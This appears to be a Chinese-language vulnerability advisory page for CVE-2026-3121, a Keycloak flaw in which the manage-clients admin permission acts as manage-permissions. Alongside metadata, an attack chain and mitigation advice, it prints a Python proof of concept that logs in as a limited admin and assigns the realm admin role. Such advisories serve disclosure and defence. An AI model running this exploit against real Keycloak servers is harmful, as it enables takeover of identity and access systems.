IPBUF安全漏洞报告
English
CVE-2026-3121 CVSS 6.5 中危

CVE-2026-3121 Keycloak权限提升漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-3121
漏洞类型
权限提升
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

权限提升KeycloakCVE-2026-3121访问控制身份认证

漏洞概述

Keycloak存在一处安全漏洞。在Realm级别启用管理员权限的情况下,拥有`manage-clients`权限的管理员可以利用配置错误,该错误导致该权限实际上等同于`manage-permissions`。这使得攻击者能够提升权限,进而控制Realm内的角色、用户或其他管理功能,从而完全接管受影响的管理控制台。

技术细节

该漏洞源于Keycloak在处理特定管理员权限时的逻辑缺陷。具体而言,当Realm级别的管理员权限被启用时,系统错误地将`manage-clients`权限的授予范围扩大,使其在功能上与`manage-permissions`权限等同。通常情况下,`manage-clients`仅允许管理客户端应用,而`manage-permissions`则涉及更底层的权限控制。攻击者首先需要获得一个具有`manage-clients`权限的账户,随后通过直接调用API或利用管理控制台,利用这种权限边界的模糊性修改权限设置。由于系统未严格校验当前操作者是否具备“管理权限”的元能力,攻击者可以将自身提升为超级管理员,进而对Realm内的所有资源进行完全控制。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Keycloak服务,并寻找拥有`manage-clients`权限的受限管理员账户。
STEP 2
2. 初始访问
攻击者使用获取的受限管理员凭证登录Keycloak管理控制台或通过API进行认证。
STEP 3
3. 权限提升
攻击者利用`manage-clients`权限等同于`manage-permissions`的配置缺陷,尝试修改用户角色或权限设置。
STEP 4
4. 维持权限
通过赋予自身或特定账户超级管理员权限,确保对Realm的长期控制。
STEP 5
5. 执行操作
利用获得的完全控制权,创建后门账户、窃取数据或破坏服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "admin-cli" # Credentials for a user with 'manage-clients' permission only USERNAME = "limited_admin" PASSWORD = "password" # Step 1: Get Access Token auth_url = f"{TARGET_URL}/realms/{REALM}/protocol/openid-connect/token" auth_payload = { "client_id": CLIENT_ID, "username": USERNAME, "password": PASSWORD, "grant_type": "password" } session = requests.Session() auth_resp = session.post(auth_url, data=auth_payload) if auth_resp.status_code != 200: print("Authentication failed") exit(1) token = auth_resp.json().get("access_token") headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} # Step 2: Exploit permission misconfiguration # Attempting to assign admin role (requires 'manage-permissions') # using 'manage-clients' permission due to CVE-2026-3121 target_user_id = "user-to-escalate-id" admin_role_representation = [ {"id": "admin-role-id", "name": "admin"} ] # Endpoint to add realm role mappings to user role_mapping_url = f"{TARGET_URL}/admin/realms/{REALM}/users/{target_user_id}/role-mappings/realm" print(f"Attempting to assign admin roles to user {target_user_id}...") exploit_resp = session.post(role_mapping_url, json=admin_role_representation, headers=headers) if exploit_resp.status_code == 204: print("[+] Exploit successful! Privileges escalated.") else: print(f"[-] Exploit failed. Status: {exploit_resp.status_code}")

影响范围

Keycloak (Affected versions per RHSA-2026:6477)
Red Hat Single Sign-On 7

防御指南

临时缓解措施
在未完成升级修补前,建议管理员严格审查Realm内拥有`manage-clients`权限的用户列表,撤销非必要的授权。同时,开启并密切监控Keycloak的审计日志,重点关注权限变更和角色分配操作,以便及时发现潜在的提权行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表